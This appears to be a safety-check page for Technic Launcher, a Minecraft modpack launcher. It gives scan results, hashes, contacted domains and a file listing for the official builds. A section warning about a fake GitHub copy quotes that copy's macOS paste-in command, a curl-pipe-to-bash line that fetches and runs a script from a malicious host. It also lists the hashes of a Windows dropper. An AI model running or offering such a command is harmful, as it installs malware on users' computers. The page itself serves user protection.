Technic Launcher

Launcher by Technic

A launcher for finding and playing Technic Platform modpacks.

How we got this result

  1. Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.3 of 3 official filesLast checked on 2 Nov 2026
  2. Deep checkOur own tools read the code of each current file and look for what harmful code does, like stealing logins or running hidden programs.2 of 3 official filesLast checked on 2 Nov 2026
  3. Passed Nothing harmful found in its 3 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.

At a glance

Every official file

See each file in Releases

The files of version Build 1180, by system and kind of download.

Have a copy of Technic Launcher? Check that it is the official one.

Drop it here. We compare its fingerprint with the official Technic Launcher files and the files of the fake sites we know.

Source code
Public on GitHub
Official site
technicpack.net

Which file for my computer?

launcher-4.0-1180.exe

PassedNothing harmful foundReleased 30 Oct 202615.6 MB

Download

The same file we checked, straight from github.com.

Official site

1 site uses its name to give other files. See Fake sites

Newest version
Build 1180, released on 30 Oct 2026

Passed

Nothing harmful found in its 3 official files, version Build 1180.

Our checks look for known signs of harm. They cannot prove that a file is harmless.

What we checked

A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.

Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
3 of its 3 official files, with every file inside them.Last checked on 2 Nov 2026
Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
2 of its 3 official files. 1 hold no Java code: programs made for one system.
Same as listedA fingerprint of the file. The same fingerprint means the same file, byte for byte.
Every file we checked has the SHA-256 that GitHub gives.
Older releases
6 official files of 2 older releases, every one checked.

What we found

What its Java code can do. None of this is harmful by itself: many launchers and mods do the same.

Accepts connections from other computers
The code references server sockets or an embedded web server. Used by some tools for local web interfaces, profilers, or LAN features.In all 2 files whose Java code we read
Can connect to the internet
It has code that can go online, for example to check for updates, sign you in or download the game. What it sends is in Privacy.In all 2 files whose Java code we read
Can download and run new code
One class references both network APIs and class loading. This is the pattern of auto-updating loaders, but also of some harmful programs. Only the source of the downloaded data tells which.In all 2 files whose Java code we read
Can run scripts
References JavaScript, Groovy, Lua or similar engines. Programs use them for settings, add-ons or their interface.In all 2 files whose Java code we read
Contains code made for your system
Native libraries (.dll, .so, .dylib) run outside the Java sandbox. Used for speed, compression, audio, graphics or database engines.In all 2 files whose Java code we read
Creates code while it runs
The code can create or load pieces of code while it runs. Launchers load the game, its mod loaders and their own modules this way.In all 2 files whose Java code we read
Starts other programs
The code can start another program on your computer. Common reasons: opening a web link or a folder, reading hardware information, launching a helper tool.In all 2 files whose Java code we read

The evidence12

Each finding of our checks: the file, what it is in plain words, where our tools saw it, and the rule that matched.

  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1180.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1180.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1176.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1176.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1175.jarnet.technicpack.rest.RestObject.getRestObject URLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address
    Information
  • An address built in the code
    This code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.In launcher-4.0-1175.jarnet.technicpack.utilslib.Utils.getETag HttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
    Information

What is inside

The 5,073 files inside launcher-4.0-1180.exe. Only the first 400 are listed.

Java code
326 files.
Programs for Windows, Mac or Linux
1 file.
Graphics
None.
Other
73 files.

Every file

  • aix/ppc64/1 file
    • libzstd-jni-1.5.7-24.so1612 KB
  • com/301 files
    • beust/jcommander/67 files
      • converters/18 files
        • BaseConverter.class1.2 KB
        • BigDecimalConverter.class1.1 KB
        • BooleanConverter.class1.2 KB
        • CommaParameterSplitter.class964 B
        • DefaultListConverter.class2.0 KB
        • DoubleConverter.class1.2 KB
        • EnumConverter.class2.1 KB
        • FileConverter.class785 B
        • FloatConverter.class1.1 KB
        • IntegerConverter.class1.2 KB
        • IParameterSplitter.class283 B
        • ISO8601DateConverter.class1.4 KB
        • LongConverter.class1.1 KB
        • NoConverter.class784 B
        • PathConverter.class1.9 KB
        • StringConverter.class740 B
        • URIConverter.class1.1 KB
        • URLConverter.class1.1 KB
      • internal/8 files
        • Console.class214 B
        • DefaultConsole.class1.5 KB
        • DefaultConverterFactory.class2.4 KB
        • JDK6Console.class1.7 KB
        • Lists.class1.6 KB
        • Maps.class1.1 KB
        • Nullable.class415 B
        • Sets.class578 B
      • parser/1 file
        • DefaultParameterizedParser.class712 B
      • validators/2 files
        • NoValidator.class622 B
        • NoValueValidator.class930 B
      • DefaultUsageFormatter.class11 KB
      • DynamicParameter.class1.1 KB
      • FuzzyMap.class2.9 KB
      • FuzzyMap$IKey.class237 B
      • IDefaultProvider.class204 B
      • IMainParameter.class203 B
      • IParameterizedParser.class297 B
      • IParametersValidator.class329 B
      • IParameterValidator.class269 B
      • IParameterValidator2.class362 B
      • IStringConverter.class290 B
      • IStringConverterFactory.class317 B
      • IStringConverterInstanceFactory.class443 B
      • IUsageFormatter.class473 B
      • IValueValidator.class359 B
      • IVariableArity.class204 B
      • JCommander.class42 KB
      • JCommander$1.class2.2 KB
      • JCommander$2.class1.3 KB
      • JCommander$Builder.class4.8 KB
      • JCommander$DefaultVariableArity.class1.2 KB
      • JCommander$MainParameter.class3.0 KB
      • JCommander$Options.class4.4 KB
      • JCommander$Options$1.class1.8 KB
      • JCommander$ProgramName.class2.4 KB
      • MissingCommandException.class720 B
      • Parameter.class1.7 KB
      • ParameterDescription.class15 KB
      • ParameterDescription$SubParameterIndex.class759 B
      • ParameterException.class1.1 KB
      • Parameterized.class12 KB
      • Parameters.class869 B
      • ParametersDelegate.class409 B
      • ResourceBundle.class450 B
      • StringKey.class1.2 KB
      • Strings.class2.3 KB
      • SubParameter.class467 B
      • WrappedParameter.class5.8 KB
    • github/luben/zstd/24 files
      • util/3 files
        • Native.class5.5 KB
        • Native$1.class887 B
        • Native$2.class907 B
      • AutoCloseBase.class1.8 KB
      • BufferPool.class404 B
      • EndDirective.class1.2 KB
      • NoPool.class802 B
      • Objects.class664 B
      • SequenceProducer.class219 B
      • SharedDictBase.class319 B
      • Zstd.class22 KB
      • Zstd$FrameData.class846 B
      • Zstd$ParamSwitch.class1.3 KB
      • ZstdCompressCtx.class13 KB
      • ZstdDecompressCtx.class8.3 KB
      • ZstdDictCompress.class2.4 KB
      • ZstdDictDecompress.class2.1 KB
      • ZstdException.class693 B
      • ZstdFrameProgression.class866 B
      • ZstdInputStream.class2.8 KB
      • ZstdInputStreamNoFinalizer.class6.3 KB
      • ZstdIOException.class690 B
      • ZstdOutputStream.class4.5 KB
      • ZstdOutputStreamNoFinalizer.class8.4 KB
    • google/210 files
      • api/client/201 files
        • auth/30 files
          • oauth/1 file
            • package-info.class216 B
          • oauth2/28 files
            • AuthorizationCodeFlow.class12 KB
            • AuthorizationCodeFlow$1.class2.1 KB
            • AuthorizationCodeFlow$Builder.class10.0 KB
            • AuthorizationCodeFlow$CredentialCreatedListener.class482 B
            • AuthorizationCodeFlow$PKCE.class1.8 KB
            • AuthorizationCodeRequestUrl.class4.1 KB
            • AuthorizationCodeTokenRequest.class4.8 KB
            • AuthorizationRequestUrl.class3.9 KB
            • BearerToken.class1.5 KB
            • BearerToken$AuthorizationHeaderAccessMethod.class2.2 KB
            • BearerToken$FormEncodedBodyAccessMethod.class2.3 KB
            • BearerToken$QueryParameterAccessMethod.class1.5 KB
            • ClientParametersAuthentication.class2.1 KB
            • Credential.class11 KB
            • Credential$AccessMethod.class475 B
            • Credential$Builder.class5.1 KB
            • CredentialRefreshListener.class487 B
            • CredentialStore.class563 B
            • CredentialStoreRefreshListener.class2.1 KB
            • DataStoreCredentialRefreshListener.class2.9 KB
            • RefreshTokenRequest.class4.5 KB
            • StoredCredential.class4.1 KB
            • TokenErrorResponse.class2.4 KB
            • TokenRequest.class7.2 KB
            • TokenRequest$1.class1.6 KB
            • TokenRequest$1$1.class1.3 KB
            • TokenResponse.class2.9 KB
            • TokenResponseException.class3.6 KB
          • openidconnect/1 file
            • package-info.class224 B
        • extensions/7 files
          • java6/auth/oauth2/4 files
            • AuthorizationCodeInstalledApp.class5.7 KB
            • AuthorizationCodeInstalledApp$Browser.class414 B
            • AuthorizationCodeInstalledApp$DefaultBrowser.class885 B
            • VerificationCodeReceiver.class339 B
          • jetty/auth/oauth2/3 files
            • LocalServerReceiver.class4.7 KB
            • LocalServerReceiver$Builder.class1.9 KB
            • LocalServerReceiver$CallbackHandler.class4.4 KB
        • http/50 files
          • apache/1 file
            • package-info.class139 B
          • javanet/13 files
            • ConfigurableSSLSocketFactory.class2.4 KB
            • ConnectionFactory.class306 B
            • DefaultConnectionFactory.class1.0 KB
            • NetHttpRequest.class7.0 KB
            • NetHttpRequest$1.class1.7 KB
            • NetHttpRequest$DefaultOutputWriter.class990 B
            • NetHttpRequest$OutputWriter.class395 B
            • NetHttpResponse.class3.9 KB
            • NetHttpResponse$SizeValidatingInputStream.class1.9 KB
            • NetHttpTransport.class4.4 KB
            • NetHttpTransport$Builder.class7.2 KB
            • package-info.class140 B
            • SslSocketConfigurator.class209 B
          • json/2 files
            • JsonHttpContent.class2.5 KB
            • package-info.class137 B
          • AbstractHttpContent.class2.2 KB
          • BackOffPolicy.class490 B
          • ConsumingInputStream.class853 B
          • GenericUrl.class12 KB
          • google-http-client.properties32 B
          • GzipSupport.class761 B
          • GzipSupport$OptimisticAvailabilityInputStream.class1.1 KB
          • HttpContent.class383 B
          • HttpEncoding.class311 B
          • HttpEncodingStreamingContent.class1.4 KB
          • HttpExecuteInterceptor.class266 B
          • HttpHeaders.class20 KB
          • HttpHeaders$HeaderParsingFakeLevelHttpRequest.class1.4 KB
          • HttpHeaders$ParseHeaderState.class1.5 KB
          • HttpIOExceptionHandler.class353 B
          • HttpMediaType.class7.2 KB
          • HttpRequest.class22 KB
          • HttpRequest$1.class1.1 KB
          • HttpRequestFactory.class2.9 KB
          • HttpRequestInitializer.class267 B
          • HttpResponse.class8.6 KB
          • HttpResponseException.class2.9 KB
          • HttpResponseException$Builder.class3.6 KB
          • HttpResponseInterceptor.class277 B
          • HttpStatusCodes.class1.6 KB
          • HttpTransport.class2.2 KB
          • HttpUnsuccessfulResponseHandler.class331 B
          • LowLevelHttpRequest.class1.9 KB
          • LowLevelHttpResponse.class892 B
          • OpenCensusUtils.class6.7 KB
          • OpenCensusUtils$1.class1.2 KB
          • package-info.class132 B
          • UrlEncodedContent.class4.8 KB
          • UrlEncodedParser.class7.8 KB
        • json/24 files
          • gson/9 files
            • GsonFactory.class3.6 KB
            • GsonFactory$1.class245 B
            • GsonFactory$Builder.class1.2 KB
            • GsonFactory$InstanceHolder.class669 B
            • GsonGenerator.class3.4 KB
            • GsonGenerator$StringNumber.class1017 B
            • GsonParser.class5.5 KB
            • GsonParser$1.class1.4 KB
            • package-info.class137 B
          • rpc2/1 file
            • package-info.class215 B
          • webtoken/1 file
            • package-info.class141 B
          • CustomizeJsonParser.class1.4 KB
          • GenericJson.class2.0 KB
          • JsonFactory.class3.9 KB
          • JsonGenerator.class4.9 KB
          • JsonObjectParser.class3.9 KB
          • JsonObjectParser$Builder.class1.7 KB
          • JsonParser.class21 KB
          • JsonParser$1.class1.2 KB
          • JsonPolymorphicTypeMap.class696 B
          • JsonPolymorphicTypeMap$TypeDef.class645 B
          • JsonString.class399 B
          • JsonToken.class1.6 KB
          • package-info.class457 B
        • testing/6 files
          • http/3 files
            • apache/1 file
              • package-info.class225 B
            • javanet/1 file
              • package-info.class226 B
            • package-info.class218 B
          • json/2 files
            • webtoken/1 file
              • package-info.class227 B
            • package-info.class218 B
          • util/1 file
            • package-info.class218 B
        • util/84 files
          • escape/8 files
            • CharEscapers.class2.8 KB
            • Escaper.class372 B
            • package-info.class139 B
            • PercentEncodedEscaper.class1.8 KB
            • PercentEscaper.class4.0 KB
            • Platform.class724 B
            • Platform$1.class661 B
            • UnicodeEscaper.class3.0 KB
          • store/12 files
            • AbstractDataStore.class2.2 KB
            • AbstractDataStoreFactory.class2.7 KB
            • AbstractMemoryDataStore.class5.6 KB
            • DataStore.class1.3 KB
            • DataStoreFactory.class403 B
            • DataStoreUtils.class1.7 KB
            • FileDataStoreFactory.class6.2 KB
            • FileDataStoreFactory$FileDataStore.class2.6 KB
            • MemoryDataStoreFactory.class1.2 KB
            • MemoryDataStoreFactory$InstanceHolder.class650 B
            • MemoryDataStoreFactory$MemoryDataStore.class1.3 KB
            • package-info.class138 B
          • ArrayMap.class7.5 KB
          • ArrayMap$Entry.class2.0 KB
          • ArrayMap$EntryIterator.class1.8 KB
          • ArrayMap$EntrySet.class1.1 KB
          • ArrayValueMap.class3.1 KB
          • ArrayValueMap$ArrayValue.class1.4 KB
          • Base64.class2.0 KB
          • Beta.class461 B
          • ByteCountingOutputStream.class676 B
          • ByteStreams.class1.8 KB
          • ByteStreams$LimitedInputStream.class2.1 KB
          • ClassInfo.class6.4 KB
          • ClassInfo$1.class1.2 KB
          • Clock.class397 B
          • Clock$1.class515 B
          • Collections2.class744 B
          • Data.class12 KB
          • DataMap.class2.5 KB
          • DataMap$Entry.class2.3 KB
          • DataMap$EntryIterator.class2.5 KB
          • DataMap$EntrySet.class2.1 KB
          • DateTime.class7.0 KB
          • DateTime$1.class226 B
          • DateTime$Rfc3339ParseResult.class2.1 KB
          • DateTime$SecondsAndNanos.class2.0 KB
          • FieldInfo.class7.3 KB
          • GenericData.class6.4 KB
          • GenericData$EntryIterator.class2.1 KB
          • GenericData$EntrySet.class1.8 KB
          • GenericData$Flags.class1.1 KB
          • IOUtils.class5.1 KB
          • Joiner.class942 B
          • Key.class457 B
          • Lists.class1.8 KB
          • LoggingByteArrayOutputStream.class2.7 KB
          • LoggingInputStream.class1.5 KB
          • LoggingOutputStream.class1.5 KB
          • LoggingStreamingContent.class1.6 KB
          • Maps.class914 B
          • NullValue.class397 B
          • ObjectParser.class753 B
          • Objects.class966 B
          • Objects$1.class223 B
          • Objects$ToStringHelper.class2.4 KB
          • Objects$ToStringHelper$ValueHolder.class823 B
          • package-info.class457 B
          • PemReader.class3.1 KB
          • PemReader$Section.class900 B
          • Preconditions.class1.8 KB
          • SecurityUtils.class8.3 KB
          • Sets.class651 B
          • Sleeper.class454 B
          • Sleeper$1.class599 B
          • SslUtils.class4.1 KB
          • SslUtils$1.class1.0 KB
          • SslUtils$2.class715 B
          • StreamingContent.class318 B
          • Strings.class477 B
          • StringUtils.class1.0 KB
          • Throwables.class1.1 KB
          • Types.class9.5 KB
          • Types$1.class869 B
          • Types$1$1.class1.3 KB
          • Value.class461 B
      • common/9 files
        • annotations/6 files
          • Beta.class586 B
          • GwtCompatible.class640 B
          • GwtIncompatible.class648 B
          • J2ktIncompatible.class547 B
          • package-info.class135 B
          • VisibleForTesting.class274 B
        • base/3 files
          • Absent.class3.9 KB
          • AbstractIterator.class2.3 KB
          • AbstractIterator$State.class1.4 KB
  • META-INF/97 files
    • maven/50 files
      • com.google.code.findbugs/jsr305/2 files
        • pom.properties121 B
        • pom.xml4.2 KB
      • com.google.code.gson/gson/2 files
        • pom.properties60 B
        • pom.xml22 KB
      • com.google.errorprone/error_prone_annotations/2 files
        • pom.properties80 B
        • pom.xml4.2 KB
      • com.google.guava/6 files
        • failureaccess/2 files
          • pom.properties64 B
          • pom.xml5.4 KB
        • guava/2 files
          • pom.properties61 B
          • pom.xml9.5 KB
        • listenablefuture/2 files
          • pom.properties134 B
          • pom.xml2.2 KB
      • com.google.http-client/4 files
        • google-http-client/2 files
          • pom.properties75 B
          • pom.xml6.4 KB
        • google-http-client-gson/2 files
          • pom.properties80 B
          • pom.xml2.8 KB
      • com.google.j2objc/j2objc-annotations/2 files
        • pom.properties68 B
        • pom.xml5.3 KB
      • com.google.oauth-client/6 files
        • google-oauth-client/2 files
          • pom.properties78 B
          • pom.xml3.4 KB
        • google-oauth-client-java6/2 files
          • pom.properties84 B
          • pom.xml3.4 KB
        • google-oauth-client-jetty/2 files
          • pom.properties84 B
          • pom.xml3.4 KB
      • commons-codec/commons-codec/2 files
        • pom.properties62 B
        • pom.xml19 KB
      • commons-io/commons-io/2 files
        • pom.properties56 B
        • pom.xml20 KB
      • io.nayuki/qrcodegen/2 files
        • pom.properties103 B
        • pom.xml3.5 KB
      • org.apache.commons/6 files
        • commons-compress/2 files
          • pom.properties70 B
          • pom.xml25 KB
        • commons-lang3/2 files
          • pom.properties67 B
          • pom.xml35 KB
        • commons-text/2 files
          • pom.properties66 B
          • pom.xml23 KB
      • org.apache.httpcomponents/4 files
        • httpclient/2 files
          • pom.properties102 B
          • pom.xml6.5 KB
        • httpcore/2 files
          • pom.properties100 B
          • pom.xml4.9 KB
      • org.apache.maven/maven-artifact/2 files
        • pom.properties66 B
        • pom.xml2.4 KB
      • org.codehaus.plexus/plexus-utils/2 files
        • pom.properties66 B
        • pom.xml7.7 KB
      • org.slf4j/4 files
        • slf4j-api/2 files
          • pom.properties54 B
          • pom.xml2.8 KB
        • slf4j-nop/2 files
          • pom.properties54 B
          • pom.xml1.3 KB
      • org.xhtmlrenderer/flying-saucer-core/2 files
        • pom.properties70 B
        • pom.xml2.7 KB
    • native-image/6 files
      • com.google.http-client/5 files
        • google-http-client/4 files
          • native-image.properties38 B
          • reflect-config.json2.6 KB
          • resource-config.json117 B
          • serialization-config.json407 B
        • google-http-client-gson/1 file
          • reflect-config.json627 B
      • io.sentry/sentry/1 file
        • native-image.properties36 B
    • proguard/7 files
      • base.pro1.4 KB
      • cache.pro341 B
      • collect.pro1.0 KB
      • concurrent.pro1.7 KB
      • gson.pro3.1 KB
      • hash.pro351 B
      • primitives.pro52 B
    • services/1 file
      • org.slf4j.spi.SLF4JServiceProvider32 B
    • versions/26 files
      • 10/org/codehaus/plexus/util/1 file
        • BaseIOUtil.class843 B
      • 11/org/codehaus/plexus/util/1 file
        • BaseFileUtils.class1.4 KB
      • 22/com/github/luben/zstd/17 files
        • Zstd.class32 KB
        • Zstd$FrameData.class865 B
        • Zstd$ParamSwitch.class1.3 KB
        • ZstdBinding.class32 KB
        • ZstdBinding$FrameProgressionBuffer.class952 B
        • ZstdBinding$SizeTRef.class819 B
        • ZstdBinding$SizeTRef$Narrow.class743 B
        • ZstdBinding$SizeTRef$Wide.class678 B
        • ZstdBufferDecompressingStreamNoFinalizer.class3.3 KB
        • ZstdCompressCtx.class17 KB
        • ZstdDecompressCtx.class13 KB
        • ZstdDictCompress.class3.2 KB
        • ZstdDictDecompress.class2.9 KB
        • ZstdDirectBufferCompressingStreamNoFinalizer.class7.7 KB
        • ZstdDirectBufferDecompressingStreamNoFinalizer.class3.2 KB
        • ZstdInputStreamNoFinalizer.class7.9 KB
        • ZstdOutputStreamNoFinalizer.class10 KB
      • 9/org/7 files
        • codehaus/plexus/util/1 file
          • BaseIOUtil.class942 B
        • tukaani/xz/6 files
          • check/1 file
            • CRC64.class1.5 KB
          • common/1 file
            • ByteArrayView.class2.7 KB
          • lz/4 files
            • BasicMatchLengthFinder.class814 B
            • MatchLength.class2.4 KB
            • MatchLengthFinder.class191 B
            • UnalignedLongLEMatchLengthFinder.class976 B
    • AL2.09.9 KB
    • annotations.kotlin_module24 B
    • DEPENDENCIES1.0 KB
    • LGPL2.124 KB
    • LICENSE-W3C-TEST3.5 KB
    • MANIFEST.MF132 B
    • SENTRY_THIRD_PARTY_NOTICES.md24 KB
  • LICENSE.txt761 B

Sends data

It sends crash reports.

Sent to
An address built while it runs.
Found in
Its code.

We find the web addresses its code can contact, but we cannot see everything a launcher does while it runs. Wrong result? Tell us

What we checked

A launcher can send information about you over the internet, such as your player name or your login.

Deep checkWe read the code and list each web address it can contact, and what it sends. We leave out code that is never used.
The Java code of all 2 files that hold some. See each file in Releases
Web address
Address built while it runsThe code builds this address while it runs, so it is not written in the file.: Uploads crash reports or logs.Sends: crash reports
Also named in its codeAddresses written in its code that no code we read contacts: a link shown to you, a default setting, or code we could not follow.
api.adoptium.netapi.minecraftservices.comapi.technicpack.netauth.xboxlive.comdiscord.comdocs.sentry.iogithub.comlaunchermeta.mojang.comlibraries.minecraft.netlogin.live.comlogin.microsoftonline.commaven.creeperhost.netmaven.minecraftforge.netmaven.neoforged.netminotar.netmirror.technicpack.netrepo.maven.apache.orgresources.download.minecraft.netsentry.iosentry.technicpack.netsolder.technicpack.netsupport.technicpack.netuser.auth.xboxlive.comwww.akliz.netwww.ccil.orgwww.minecraft.netwww.technicpack.netxsts.auth.xboxlive.com

Releases

Current files: the official files of version Build 1180.

Current fileVersionSystemReleasedFileOur checkGet it on
Build 1180WindowsProgram30 Oct 2026launcher-4.0-1180.exe15.6 MB SHA-256 0a948dce05…PassedNothing harmful found. Checked on 2 Nov 2026.2 Nov 2026
Build 1180macOSArchive30 Oct 2026launcher-4.0-1180-osx.app.zip14.7 MB SHA-256 68f76e8fae…PassedNo harmful code found. Checked on 2 Nov 2026.2 Nov 2026
Build 1180All systemsJava file30 Oct 2026launcher-4.0-1180.jar15.5 MB SHA-256 db81a58265…PassedNo harmful code found. Checked on 2 Nov 2026.2 Nov 2026
3 of 3 current files

A fake site uses the name of Technic Launcher to offer its download from an address that is not the official one.

How to know the official site

Official site
technicpack.net
SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
launcher-4.0-1180.exe0a948dce051a5785231ad1482a353f52a5fc5e733b9e4cde1275e2edb0f1d7eeEvery official file and its SHA-256, in Releases

The 1 fake site we foundChecked on 2 Nov 2026

Of these, it gives a file with malware. Sites in one fold share their pages and their download.

github.com/wzxolhqknwux/technic-launcherMalwareOnline

A GitHub project created on 30 Oct 2026 by a throwaway account. Its description presents it as Technic Launcher, and its page adds Windows and macOS download buttons.

The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.

  • github.com/wzxolhqknwux/technic-launcherOnline. Its download buttons lead to a fake download page.Created 30 Oct 2026 on GitHub · Checked 5 Nov 2026

Its download

The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.

On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.

The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.

The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.

Technical details

installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4From www.resight-cheats.net, 4 Nov 2026
installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114fTriage report 261105-m584bahx9w
macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"

If you downloaded a file from one of these sites

  1. Drop the file in the Scanner. It tells you if it is an official file of Technic Launcher or a file of these sites.
  2. If it is not an official file and you have not opened it, delete it.
  3. If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
  4. If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
  5. Get Technic Launcher from its official site, technicpack.net .
Downloads
Not publishedTechnic Launcher does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
Created
11 Feb 2014Its GitHub repository
Latest release
30 Oct 2026Version Build 1180
License
GPL-3.0 Public on GitHub

About

Technic Launcher is a desktop application built for the Technic Platform. Players use it to discover, install, update and play Minecraft modpacks. It works with Technic Platform and Solder, and its documentation covers Forge and NeoForge installation.

Written from its official pages: its GitHub page . How we write it